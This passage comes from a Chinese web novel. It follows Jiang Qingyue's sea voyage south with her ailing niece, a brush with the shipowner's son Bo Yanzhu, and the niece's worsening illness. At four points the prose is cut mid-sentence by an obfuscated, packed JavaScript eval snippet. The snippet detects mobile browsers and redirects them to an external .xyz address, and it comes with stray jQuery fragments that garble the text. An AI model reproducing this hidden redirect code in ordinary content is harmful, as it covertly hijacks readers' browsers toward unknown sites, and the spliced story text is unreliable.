受了夸赞的花芸立刻喜上眉梢,扬着脸蛋跟在江清月身后,时不时打量一下过路人。 两人一前一后朝岸边走去,路边许多贩卖着新奇商货的小摊,玲珑灯、铜香炉,满满摆了一街。 香芸被解卦的小摊吸引去视线,兀自留下来算了一卦,江清月却对鬼神之事不感兴趣,便独自朝前走,欣赏起小玩意儿来。 琳琅满目的商品陈列眼前,江清月随手戴上一只精致雕刻的玉手环,看得忘我。 她低声自言自语道:“没想到这里竟然还有这样的手艺。” 江清月口中的“这里”,原是将现代的机械雕刻同古代相比,曾以为精美的玉雕只存在于皇家贵族家中,此番一见,情不自禁赞叹这样一个不起眼的市场竟有如此精湛的技术。 但话被旁人听去,似乎就变了个意思,还以为此人妄自尊大,言语之间尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047612|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是瞧不起登州的意思。 “陶尽门前土,屋上无片瓦。十指不沾泥,鳞鳞居大厦。膏粱子弟不懂陶土,还以为屋上的瓦片是自己长出来的。” 江清月一字一句全听了去,并不知其中的含义,她低着眼,慢慢挪动目光,只见对方穿着草鞋和粗布衣裳,以为是泥瓦匠来毛遂自荐的。 她有些不自在,假装不在意,朝旁边跨了一步,拿起其他物件,说道:“不是本地人,亦无修缮房屋的需求。” 江清月虽表现得专心致志,看起来像在鉴赏着手中不断翻转的玉雕,实则不动声色地打量身旁贸然搭话的人,余光谨慎地注意着他的一举一动。 一想到花芸之前曾说,这附近多有不安生者,江清月便心神不宁,再无心把玩玉雕,匆匆放下后便转身要走,对方却有意要拦她。 江清月想到自己还得按时回去,生怕时间耽搁在这里,本不想理会,对着两个铺面外的花芸大声说道:“花芸,舟师若不见我们,该找人来寻了。” 不料对方不依不饶,甚至反身一步走到她面前。 江清月把他当成了来找乐子的轻薄人,心中有些焦急,又不免气愤,皱起眉头,问道:“听闻登州民风淳朴,难道就是如此待人的么?” 那人既不恼也不羞愧,反而眉眼带笑,手臂轻抬起,指了指江清月的手腕处。 江清月咽了口唾沫,挽起袖子,摘下手镯放了回去。她一句话没说,几步来到摊位前,拉起花芸的手臂,快步离开了那街道。 花芸还一脸沉浸在高嫁的幻梦之中,恬笑着说道:“月姑娘,你也去瞧瞧,听说很可信呢!” 江清月心中想着刚才的事情,斜睨一眼那人所在的方向,喃喃道:“三言两语就能说清楚的事,便要装神弄鬼说不明白,我不觉得可信。” 花芸袖子里还攥着那支卦签,脸上有些不服气,“姑娘都没听过,怎知说不明白?大师说那人家中行商,还同船有关,你瞧,这不说得挺清楚的。” 江清月这才反应过来,她轻轻咳嗽两声,一声不吭,低着头、弓着背,快步朝船的方向走去。 “舟师,我们这边的人都上船了,若没别的事,不如早些起程。” “江姑娘,再等等,还有几个人没来。” “这船除了我们一家,还有别的客人么?” “船总的二儿子要下江南,近半月只有我们一艘客船,便临时安排到我们这来了。” “若是我不问,想必你们就瞒过去了。”江清月心里有些火气,“舟师,我们当初可是包船下行,若这里添几人,那里添几人,万一混上来个底细不明的,到时候怕是影响我们康显郡王府的风声。” “江姑娘,若是能拒绝,我们怎敢得罪贵府。对方是船总的二公子,青州整片码头都是博家的,若是拒载,今后我们的船还想走这过,可就难了。”舟师不是文人,但也学着作揖道:“我保证你们俩家直至到岸都不会见面,并免费给您上下货,包送到府,如何呢?江姑娘。” 江清月见对方如此说,也不好再说什么,点了点头,便回了厢房。 5. 遇见 “最近怎么这么倒霉,是不是该去庙里拜拜了。” 江青月拍了拍衣袖上的灰,深呼吸后才推门走进房内,木桌上摆满了各式各样的果脯和点心,小小地堆成山坡。想来珠儿按着给的钱买的,没算计这些人到底能吃多少。 自从靠岸后,船便稳当了些,朱潼心里好受许多,先前站也不能站,坐久了也疲软,此刻已然恢复了半成力气,正捏着一块大梅子果脯往嘴里塞。 “哦对,梅子干。”江清月这才想起正事,迟钝了几秒,又反应过来,点了点头,“还好珠儿知道要买这个。” 一旁扶着朱潼的珠儿看了看江清月,还以为自己做错了什么,嘴里喃喃道:“以前上街不都买这个么?” 朱潼拍了拍珠儿的手背,低声说:“没错,就是要这个。” 江清月随意坐了下来。虽已整理好情绪,但心中仍不自觉回忆着方才的糗事,神情便不自觉放空。 朱潼嚼着梅子干,喉咙一阵发紧,猛地咳嗽几声,后嘴里忽然觉得索然无味,本想问别人是否有同样滋味,抬眼一看,发现江清月正出神,问道:“姨母,可是出什么事儿了么?” “没有,只是舟师说这次靠岸要多载几人,顺路南下,方才想着这事。”江清月见朱潼一脸恐慌,知道她心系治病的事情,怕误会是不能南下,摆了摆手解释道:“同我们没什么关系,是来帮忙行船的,不碍事。” 离港的号角声吹起,丫鬟们整理了下桌面,几人坐定候着,船却迟迟没动静。 外头传来一阵喧嚣声,像是在争论什么,过了一会儿,只听见扑通一声,其他人便安静了下来。江清月推开窗户,舟师和几名舵手正一脸焦急,几人围站在岸头,低头盯着海面。 “这都要行船了,舟师怎么还在岸上?”她心里有些疑惑,又不便在房内讲出来,怕又引得朱潼想入非非,于是找了个借口跑到甲板上去瞧。 “发生什么事了?” 岸边的人指了指水面,口中像含了梅子似的,嘀咕着“这个、那个”的,江清月听个只言片语,似懂非懂,却又不好再问,只能顺着那人手指的方向看去,试图靠自己弄明白。 墨绿色水纹下有黑影窜动,像是铁锚,又像是水草在浮动。她不知自己在看些什么,却也跟着别人聚精会神注视着,到最后看得出了神,眼睛还盯着水面,心却飘到一旁。 水面时不时浮起几个水泡,起初是珍珠般大小,随后逐渐长大,逐渐长大,变成气球似的,不断翻滚着上升,推开一层层水波。 白色的水花中兀地冒出张人脸,江清月离得最近,自然被吓了一跳,连往后踉跄两步,后知后觉捂住自己的嘴,又装作并不曾失态般,直起身咳嗽了几声。 水中腾空变出个人来——日光将他的皮肤晒黑黑的,浸湿的衣衫下一双结实粗壮的手臂攀上船沿,手里还提着一根粗的、生了锈的铁链。他单手撑起身子,唰地一声翻到台面上来,熟练地拧起衣裳,水顺着衣角流下。 江清月仔细瞧着对方的脸,越看越熟悉,心里难免有些诧异,但全然当作不知,猛地转身回了房内。 “二老,你让我怎么说才好!怎么一不留神让你下水了,就算只是磕着碰着,我要把我们这船劈成两半了去,都弥补不了啊。” “周叔,你说这话就太见外了,我博烟渚打小在水里长大,皮糙肉厚的,搭把手而已,没什么大不了的。”博烟渚摆了摆手,“障碍我已经排除了,现在可以行船了。” “再怎么说,你都是客人,哪有让客人干活的道理,下次你可不许再这样了。” “知道了,知道了。”博烟渚接过干衣服,套在身上。 他一边擦着耳朵,一边望着船舱,打量道:“你那船里,可是这次要去应天府的客人?” “是啊,辽东康县郡王府的人,这次南下,人家可是包了整艘船呢。” “只是运几个人便包下整艘船,这花销可不少……对了,周叔,我们住哪儿?” “自然给你留了好地方,随我去吧。” 江清月很是不安地回到了自己的房间内,她早就认出方才水中的那男子是摊前拦住她的“泥瓦匠”,却不明白他会如此巧合地出现在她们的船上。 “莫非,他就是舟师口中一同行船的渔民?” 江清月懊悔先前没有问得更清楚些,但又想起舟师对她的保证,若真是互相见不着彼此,就这么安安稳稳到了目的地也不错。 紧接着几天,像是刻意回避什么似得,她鲜少出门,不是走动去朱潼屋内,就是待在自己房门,连船靠岸了都不再下去凑热闹。 她把这事很严肃地同朱潼讲了,朱潼却笑话她太正经。 “就算是那人又怎样,你至于为了他,连门都不敢出么?”随即又想起来另一件事,“所以那天的失态,真正原因是这事。” “若是在街上互相都不认识倒好,走了就走了。可他既上了着船,多少就能知道我们的身份,我不想在这种情况下被认出来。” “你瞧着他了,他没瞧见你?” 江清月摇了摇头,环顾四周说道:“对了,这几日怎么常常不见花芸?” 一旁年纪稍微大些的兰姑接话道:“花芸说打小生在府中,对海里一切都新奇,估计现在又趴在桅杆边偷懒,我去寻她回来。” “不用,现在没什么事儿做,让她看吧。”江清月同几人闲聊起来,“兰姑,我记得你有个姑娘远嫁在南方,可是我们会路过的地方?” 兰姑目光看向江清月背后,似乎穿过船板看见了远方的女儿,一时思念不已,又老实地搓了搓手,将情感压抑了下来,“名叫玉儿,两年前嫁给了一个绸缎庄的商人,就在应天府那头安了家,半年前来信说有了两个月份的身孕。” “半年前?如此算来,想必就是前后几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047613|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天的事了。” “是啊,希望上天保佑,母子平安。” “兰姑,此番我们走湖淮过,你去应天府瞧瞧玉儿吧。” 兰姑有些惊讶,目光连忙收了回来,低着头,诚惶诚恐般说道:“月姑娘,我不是那个意思。” “这是做什么。”江清月连忙拉起她的手,“这事儿原本就是我提起的,我想阿姊也一定是知道情况,这才让你一同来的。” “月姑娘,您和郡王妃的好意,我一定记在心里,但这趟前去广州府,一切都是未知,尚有许多地方要重新布置,就算离开,心里也不能踏实。若四姑娘腿疾医治好了,我再去应天府也不迟。” “好,那便先在广州府安顿下来。” 另一旁,花芸果真在桅杆处徘徊,但心思并不在那海里,而是在这船上。 自从上次得了“大师”的启示,她便日日留心身旁的人——既同船有关,又能让她“高嫁”的,想必就是船总的二公子。 可船上这几个年轻人,穿着打扮都相类似,实在分不清谁才是她的真命天子,只好日日在这桅杆旁站着,希望对方能注意到她的存在。 花芸的目光常流连于其中二人身上:一人面如冠玉,气宇轩昂,看上去最是有派头;另一人眉眼秀丽,在人群中并不起眼,可只有他会迎向她的目光。 前一人为博烟渚,不似他纤弱的书生哥哥,自小便在海里长大,风里来雨里去,常常跟船下海,在湖淮一带走动,又凭着他那副热心肠,常行侠仗义,将自己名号扬了起来,甚至不输他那个登州船总的爹。 后一人也姓博,名为博义严,为人圆滑,八面玲珑,是登州博府连辈分都算不清的远亲,但由于他老母亲同博家老太太关系好,便也养在府里,同博府几兄弟一起长大。 这群人并非没注意到花芸,只是记着舟师的叮嘱,见了也当没见罢了。但私下也会相互谈起,见她常一条腿撑着,靠在围栏边,又穿着一身好料子,误以为她就是康县郡王府的小县主。 船停靠刘家港的前一夜,花芸本有些灰心,趁着四姑娘熟睡时走到甲板前透风,正巧遇见在此候了许久的博义严。 夜色朦胧下,仅有一盏微弱的蜡烛灯,从天南聊到地北,从日月聊到山川,可最重要的事——对方的底细,两人却都默契不谈。 炎热的海风吹得人头脑发胀,并不清晰,伴着朦胧的睡意,两人许下了心意。 花芸始终心系府中的老父老母,不愿不清楚不清地同这个陌生男人私奔,博义严想要凭借县主的地位一飞冲天,自然也不会莽撞地离开,于是便约定一年后的今日,由男方前往辽东康县郡王府上门提亲。 为了证明今夜确实存在,二人互换了信物,花芸得了一块带有博家族徽的吊坠,博义严则留下一块绣着牡丹的手帕。 在天空明起来之前,她们简单拉过彼此的手,匆匆告别了对方。 6. 到达 六月初八,暑气渐浓。 最先亮起来的,是离岸的那头,海面与天空交接的地方。橘黄色的光带掩于群山似的云层之上,深蓝色海域泛起淡淡的金光,像是一层一层的鱼鳞铺撒在水面上。 起初这光芒并不刺眼,也看不见阳光躲在何处,可没过多久,情势便明朗了,天空中兀自升起一颗咸鸭蛋似的太阳。 昨夜,江清月睡得并不安稳。 在这蒸笼似的船上,白日被艳阳足足晒五、六个时辰,慷慨地吸收了所有的热量,先前晚上还能好一些,可自从翻过登州以后,晚上也不见得凉快,依旧闷热潮湿。 她半夜总是迷迷糊糊地醒来,醒来时带着满身的汗,即使把被褥推至一旁,仅穿件单薄衣裳躺在床板上,面颊仍止不住地发热,口唇干燥不已。 于是她穿好衣裳,想去甲板上吹风解闷,刚推开房门,却看见那群人之一——长着一张秀气面孔的渔民正朝外走。江清月不愿在如此三更半夜同陌生人打照面,只好关了门,坐在敞开窗户边,半倚半睡,直到天亮。 稀薄的雾气蒸腾,远远看去,仿佛一道薄纱轻拂于海面之上。 今日便能到达刘家港,前往应天府的博烟渚等人会在那里停靠下船。 这些时日果真同舟师保证的那样,双方都恪守信用,严守着自己的界限,虽“同船渡”,但未“共枕眠”,甚至彼此都未打过照面。 直到那几人收拾好行李,在走廊站定时,江清月才从半掩的房门缝隙里见过几人。 离开家的朱潼最近恢复成活泼的性子,竟扒拉着门框,有些出格地探出头去,仔细瞧了瞧那群人,回头低声议论道:“听说有这里面有登州船总的二公子?哪一个是他呀?” 江清月斜睨一眼,以不经意的口气说道:“船总处处都有,有何稀奇的,管他做什么?” “船总处处有,可这二老不常有。”朱潼故作神秘说道: “这博家二老,大名博烟渚,传说是个人物呢——且不说他家的背景,单说他这个人,五岁时就能泅水捕鱼,十岁时赛过登州所有好手,十五岁跟随家族去淮上经商。如今一十九岁,貌若潘安、才比子建,不仅是登州,连京都的媒人都被惊动,据说快要踏平他们博家的门槛!” “这叫流言,越传越离谱的事情,你也信?” 江清月虽然并不全信,但心里也情不自禁想象起此人模样:白脸浓眉、眼神凄厉、五官硬朗、棱角分明。不知怎地,脑海里竟然出现严屹宽的面容。 “话又说回来,潼儿,咱俩天天待一块儿,你上哪儿知道这些的?” 朱潼立刻就出卖了同伙,指着花芸坦白道:“花芸告诉我的,她在走廊听见他们的对话了。” 花芸咬着下嘴唇,手足无措,下意识感到愧疚和担忧,但转头一想,觉得如此传奇的人物竟然已同自己定下婚约,心中便不自觉窃喜,却又不敢声张,只腼腆地低着头。 江清月点了点头,“果真是花芸,你要说是旁人我还不信。” 正低声交谈间,门外传来脚步声,似乎有人正靠近这里。 担忧自己对话被外人听见,原先还谈笑风生、开着玩笑的女子立刻谨慎了起来,端坐在木椅上。 来的人并不是博烟渚,也不是那群人的任意一个,兰姑推门走了进来。 只不过她的眼神有些飘忽,手里还捏着一封信,似乎对即将要说的话感到难为情。 江清月看着这位极老实的妇女,还以为她临时变了主意,想去应天府照顾她那即将临盆的亲闺女,她虽有些失落,但一想到这也是人之常情,还没等对方开口,江清月便点了点头。 “身上可有足够银两?” “有的,有的,这就不劳月姑娘费心了。” 江清月见她手里捏着信,还以为是告别书,却又不好意思递交给她们,于是一脸“我懂得”的安慰笑容,从兰姑手里拿走那封信。 “我收着了,放心吧兰姑。” 兰姑以为江清月明白她的言外之意,顿时眉眼舒展开,笑着说:“太好了,我之前还担心,怕您不高兴……” 江清月客气说道:“嗨,这有什么。” “玉儿不知道我们在广州府的住所,若是把这封信交给她,就能第一时间知道她是否平安……月姑娘,真是太感激你了。” 江清月有些疑惑,原以为这信是写给自己,同她们一行人辞别的,此时此刻才弄明白,原来是兰姑想要交给玉儿的家书。 弄清原委的江清月却想不明白了,不知兰姑怎么会羞于提出如此合理的请求,惊讶反问道:“这有什么?” 兰姑也有些懵,但还是本分回答道:“有我们在广州府的地址,还有一些寒暄,是不是哪里不妥?姑娘。” 江清月原本还因为不了解这些下人,对广州府之旅心怀忐忑之心,现如今得知兰姑竟是如此可靠之人后,终于松了一口气,说道:“兰姑,这种事情,你若觉得应该做,就无须请示我,知会一声就好了。不过——我既然知道了,那便会帮你负责到底。” 她装作很洒脱地走出房间门,心里却打起了鼓,本以为再也不用见到那群人,现在不得不放下自尊找他们帮忙。 “至少能见着那位传奇二老,不亏。”她如此安慰自己。 江清月理了理衣袖,将碎发别在耳后,大步走到那群人身边去。她一眼就看见那人,但却故意装作不认识,找了另一人搭话。 “你们主人在么?我同他有些事。” “主人?” 那几个魁梧的汉子听后哈哈大笑起来,他们相互递眼神、使脸色,江清月本不拘束,也变得窘迫起来。 博烟渚脸上也带着笑,他走到江清月跟前,问道:“你找谁?” “博家二老。” “找他做什么?” 江清月抬眼看着眼前的男人,又看了看他身后颇没有礼貌、戏弄自己的人,她本不想把这信交给他们,但又想起兰姑殷切的目光,只能硬着头皮说下去。 “我找他帮忙,把这封信交给应天府十里街一家姓李的丝绸庄户。” 江清月从袖子里掏出一只信封。 “送信这种事,这里任何一个兄弟都可以,为何偏要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047614|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找那博家二老?” “我信不过陌生人。” “那你可认得二老?” 江清月不假思索地点了点头,她仍在等待那传奇人物的到来,可船已然靠岸,并未有貌似严屹宽的人出现。 若不是事出突然,江清月大可找到驿站或是镖局来送这份信,还能不是体面地捎带几张钱票作为主人家的心意,但她如今只能委托给毫不知底细的渔民,若是将钱财夹带在信封里,则会冒着钱物两空的危险,事后连人都不一定能找着。 心想此信原本并不贵重,若是多给些费用,便能办好此事。 “一钱银子作为定金,剩下四钱我会交给舟师,送达后,你自向他去取便是。” “顺手的事,不用钱。” “不行,你若不收下我便不能给你。” 江清月原是觉得天下没有白给的事,像占了谁的便宜似的,她不能心安。可话说出来是一回事,博烟渚听了去,却又理解成另一含义,于是顿了顿,一并收下那一钱银子,“一钱就够了,不必再给舟师那四钱,多的我不收。” 说罢,博烟渚领着众人下了船。 回到房间内,江清月头件事就是去“质问”花芸,她口中的传奇博家二老究竟在何处,为何自己等了许久都未见着。 “月姑娘,当真是有这样的人物,花芸何苦骗你。” 花芸百口莫辩,甚至差点儿掏出内兜里那块带有“博”字的玉佩自证,却又忌惮江清月反对这门亲事,把她的好梦打破了去,只能连连反驳道:“我亲眼见着了,就在一群人当中!” 江清月背后冒出一丝凉意,心中有个不好的猜想,她咽了咽唾沫,试探问道:“不会是鼻梁很高、笑起来脸上有酒窝的那个人吧?” “酒窝?” “就是靥,笑靥。” 花芸摸着下巴仔细回忆着昨晚的经历,想起他们说的玩笑事,忍不住噗嗤一声笑了出来。 江清月却很着急,忙问道:“你笑什么?他到底是有还是没有呀?” “没有,我很确定。”花芸想了想补充道:“而且鼻梁似乎也不是很高。” 江清月想起昨晚碰见的那个男子,“是不是那群人之中脸最白的,眉眼比较秀气的那个人?我昨夜似乎看见他了。” 花芸立即紧张了起来,“这么晚了,月姑娘怎么会碰见他?” “昨晚热得睡不着觉,本想起来透透风的,因为碰见他便没出去。” 朱潼在一旁插话道:“没错,没错,最近真是热起来了,这南边的天气就是不同寻常,还没到小暑,却已经比家里的盛夏还要炎热了。” 江清月点了点头,说道:“是啊,真不知道广州府那边的天气如何。” 珠儿和灵玲也纷纷谈起这几日的气候,花芸却意犹未尽,还想听她们多谈谈自己那“未婚夫”,又刻意把话带回二老身上。 江清月却一反常态,想要终结这话题。 “好了,再也不想这件事了。”她朝码头的方向挥了挥手,心情大好,“管他博家二老是谁,总之,今后都不会再见面了。” 7. 变故 入伏后的气候更是潮湿闷热不已,船员们不得不避开日头晒得最烈的那段时辰,改在夜间行船,却又因为视线受阻,历经波折。一直到小暑又几日,江清月一行人才至广州府境内。 白日,她们坐在靠西的厢房内,摇着蒲扇躲阴凉。入夜宽衣解带,一个个干瞪着眼,隔着一层薄被躺在地上,将四周洒上水,试图寻找一些阴凉。 为了熬过漫漫长夜,干脆所有人都去了朱潼的厢房,实在睡不着时,就互相聊天解闷。 珠儿半夜起身给朱潼擦汗,忍不住感叹道:“我怎么觉得,这天热得有些不真实呢。” 灵玲在一旁无声点了点头。 所有人心里都打起退堂鼓,可朱潼心里还有些期待,劝慰道:“好像也没有那么热,还能忍受。” 珠儿看着手里被汗浸湿的手帕,耸了耸肩。 江清月在黑暗中眨着眼睛,低声思索道:“海水比热容大,吸收太阳光,温度变化小,按理来说应要比陆地更凉快才是,如果连这里都闷热不已,广州府岂不是……” 朱潼撑起身,问道:“姨母,你说什么?” 江清月摇了摇头,“或许是因为这船的缘故,单层顶板,拱形结构,将吸收的热量都聚集在船舱内,散不出去,所以才会如此闷热。” “木板船遮不住热,全都透进来了!”朱潼环顾四周,打气似地说道:“等我们到了广州府的砖瓦屋内,一切就会好了。” 船入港口时恰逢黎明时,天气还不算得太炎热。舟师信守承诺,将这一大群人的物资和行李全运送到她们的府宅里去,这也算为她们省了不少事,只需雇辆马车便能抵达目的地。 府邸买在远离闹市的僻静区,小巧别致,前后约十余间房,东南有一角门,虽不如郡王府那般富丽堂皇,但麻雀虽小,五脏俱全,用来养病是再好不过的了。 到广州府的头一件事,江清月带着两个侍卫先去了钱庄。之前江氏不放心她们身上带着过多钱财,便委托镖局送至当地的钱庄内,再将附票交给她,如此一来不仅规避了不少危险,也不会担心到了地儿没钱花。 江清月从钱庄取了五百两银子,从中取出五十两装进一小布口袋中,剩下的分成大小不一的四份,一份交给家丁保管,一份交给兰姑,一份换成碎银拿给朱潼,最后一份她自己带在身上。 随后,江清月径直去了镖局。她手里捏着两封信,一封寄给远在辽东的江氏,另一份里装入五十两银子,寄去应天府。 做完所有事情后,天已经大亮,气温也升了上来,任何没有荫蔽、受太阳直晒的地面似乎都有热浪翻起,在日头下站一会儿,别说是人,连畜生都受不住,紧着朝树下钻。 江清月从集市穿行而过,本想捎带几份冰酪回去,可当地人似乎并不认识这种东西,甚至难以想象状如石块一样的“水”,以为这个外地来的人在打诳语。 “想必广州府冬天也不至零下,既无雪亦无冰霜,普通百姓自然没听说过冰酪,更不提亲口品尝过。” 正惆怅间,她转头看见街上叫卖的椰子摊。江清月猛地想起,上次见如此完整形态的椰子似乎还是在上辈子,甚至都有些忘记椰汁的味道了。 作为冰酪的替代,她算着人头,定了八只椰子让摊主送去府上。这种水果在辽东并不常见,也很难吃到新鲜的,既然一路坎坷来了广州府,那便要给她们尝试些从前没吃过的当地特色。 当江清月回到府上时,城里的老大夫刚好上门,给朱潼看病来了。 他留着长长的胡须,大部分头发已灰白,一双机灵的小眼睛转呀转,搭把手的功夫,便看出了朱潼的病症。 “是江姑娘吧,借一步说话。” 若是好事,大夫们必然会当着当事人讲,如若不然,就会像此刻一样,要同主事者“借一步说”。 江清月看着有些紧张的朱潼,连吩咐人把椰子抬了上来,小女孩果然被这新奇物品吸引了去,不再注意门外的大人。 “大夫,您直说吧。” “先前我收到康县郡王妃来信时,以为四小姐只是患了腿部风湿,想着外敷、行针再加服药,把寒气、淤血逼出来,或许能有回转余地。可如今一看,哎,已成残疾了。” “如若不求能恢复成常人般,只求能缓解痛楚,或是减缓恶化,可行得通?” 老大夫欲言又止,摇了摇头,“不过,只要静养,倒也不会加剧了。” 江清月轻轻带上房门,她神色凝重,在走廊踱来踱去,仍不死心,又问道:“她的腿每到阴雨寒湿时节便会僵直疼痛不已,广州府的气候要比我们家乡暖和些,或许……” “姑娘,老夫曾在太医院当过几年吏目,跟那边比起来,广州府何止是‘暖和’?恕我直言,四小姐体虚,并不适宜在如此炎热的地方长住。” “老先生,我知道了。” 老大夫的木箱原封不动,一直到离开这座府邸,始终未曾打开过。江清月将客人送到大门,再折返回来,听见远处欢声笑语不断,渐渐走近,却不愿走进那房门。 她故作镇定,加入了众人的玩闹中去,心里烦闷不已,却又不想破坏气氛,只得强颜欢笑,将脸别了过去。 待场面冷下来,人们纷纷离开,房内只剩下二人时,江清月本想委婉告诉朱潼事实,不料却被她先一步问道: “姨母,大夫同你说了些什么?是不是说我的腿能好了?” 朱潼热得红红彤彤的,不停用扇子扇风,又拉起裙摆,把腿伸向有阳光的地方。烈日灼烧着白如墙腻子的肌肤,她却乐此不疲。 江清月坐在她身边,轻抚着她的头发,几度想开口,却在看向她泛起希望的眼眸时,将情绪同话一起咽了下去。 “大夫开了几副药,说是可以调理体质。” “太好了,劳烦姨母同我南下,幸好不是白费。”朱潼揉了揉膝盖,看着因不常打理而稍显空旷的院子,心里却丝毫不怀念在郡王府的日子,“这里虽不及在家那般优待,但却能感受到生活的滋味,要是母亲能在身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047615|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,我便什么都不求了。” “过段时间,我回盖州卫替你母亲去,让她下来同你团圆。” “我要姨母和母亲都在身边。”朱潼忿忿道:“况且咱们又不是同爹爹签了什么什么契,非得留下一人给郡王府管事么?” “瞧你说的,我自然是同你开玩笑,怎么还当真了。”江清月笑着说道:“就算你娘要退下来,康县郡王府还有大郎媳妇和李善俪母女在,我姓江,又不姓朱。” “姨母同我们一起长大,这么些年,早就把你当自家人了。” “闲得自在时当自家人,若真有什么事,断然分割的清清楚楚,你家那群人个个都是热脸冷心,他们算计的不仅是钱财,还有人心。” “既然如此,那就找个借口,不回去了。” 江清月用手帕擦着额上的汗,叹了口气,说道:“但这广州府的气候太过炎热,不知是今日反常,还是一直如此。” “我巴不得再热些,把骨头里的寒气都给逼出来,说不定就能好了!” 当晚,朱潼发起高烧,将白天里吃的东西吐了一地。 汗水浸湿全身的衣裳,整个人像是从水里拎起来似的。 半夜三更时,原本医馆全都闭了门,江清月只能带着两个家丁拉下脸挨个敲医馆的大门,好在年轻的大夫半夜觉浅,亦未眠,听见声响便随家丁去了府里。 那年轻的大夫叽里呱啦说了一大通话,可江清月听不懂他们的方言,只能请求对方说官话。 “我是问,这样的症状持续多久了?白日可做过什么体力活?你们既然是外地人,是打哪儿来的?” 江清月一一回应道:“用晚膳那会儿都还好好的,白日都是马车出行,连路都没走几步,我们是辽东来的,这有什么关联么?” “近来有好些个外地人不适应这边的湿热气候,像是伤风挟热的症状。” 江清月想起下午时,恐怕是朱潼晒多了太阳。 “伤风挟热?是指中暑还是热伤风?” “我不清楚你们那边的说法,总之,她的情况还要比我见过的其他人还厉害些,若有条件的话,最好能暂时迁居到凉快点的地方,若是服药三日不能降温,情况就会很危险。” 江清月的心被揪起,当即就让下人收拾,作离开的准备。 “备辆马车,不,去找北上的船,我们即刻返航。” 朱潼迷迷糊糊听见他们的对话,强撑着身体,沙哑地说道:“不能走,不能,姨母,我的腿快好了,能忍受。” 若是知道未来发生的事,江清月断然不会允许自己说这样的话。可当下她只是着急,又心烦意乱,忍不住将火气撒在了朱潼身上。 她粗声道:“难道要为了保住腿,非要丢命么?” 朱潼的泪水和汗水混在一起,分不出差别,她几乎是哀求地说:“再一日,再一日就好。” 江清月动摇了,心想着一日也没有什么大不了。 “明晚,我绑也要把你绑上船。” 8. 变数 原本定于太阳落山后即刻出行,朱潼却几度晕厥,失去意识,江清月立刻吩咐下人即刻启程,走时还将那名年轻的石大夫捎带上船,以免途中多生意外。 此次返程,江清月刻意挑选了一艘双层顶篷的航海船,中空的夹层能够隔绝多数太阳光热量,不至于同来时那般闷热。 其余人的炎暑症状多有缓解,可朱潼并没因为温度的下降而恢复如初,她在大多时间都处于神智不清的状态,偶有醒来的时候,可几乎都在咳嗽、呕吐,虚弱不堪。 “夜里盗汗,肢体乏力,咳痰呈黄绿状脓痰,痰中带有血丝,呼吸困难。”石大夫说道:“恐是肺痨。” “你不是说她只是热伤风,为何又成肺痨了?” “从体征上看,四姑娘应已感染痨虫久已,正气不足,体质虚弱,又外感风热之邪,两病相交,所以才会如此凶险。” 江清月回忆着船上的各种情景,记忆中似乎朱潼却有几声咳嗽,但并不严重,以为她是晕船不适应,“难道从那时起,就已经感染了痨虫?可为何我们却不曾有事?” 花芸听后忍不住咳嗽了几声,接着其他几人也顿时自觉喉咙发紧,但却为心理作用。 “并不是接触就会传染上,体质弱的人更易感而已。”石大夫从包袱里翻出药箱,开始配药,“不过还是需要同病人保持距离,我携带的药物只能勉强供一人服用。” 下人们对了对眼色,纷纷主动“请缨”照顾朱潼,江清月环顾着众人,虽然个个都说得愿意,心里却多少有些私心。她思考片刻后说道:“兰姑年纪大些,要统筹处理所有事务,不适合照顾潼姐儿。” “花芸身子最是娇气,还没照顾好病人,自己先倒下了。” “灵玲身子虽然结实,可做事容易毛手毛脚,不够细致,到时候你们二人,同阿康阿福一起,就跟着兰姑,她让你们做什么,你们便做什么。” 江清月对着珠儿说道:“在所有之中,珠儿是最让我放心的,当然,我不会让你白白受罪——每单独伺候四姑娘一日,我多给你二两银子,不满十日都按十日计算,上不封顶。” “月姑娘,珠儿本就是郡王府的丫鬟,伺候四姑娘是我分内之事,万不敢收多的。” 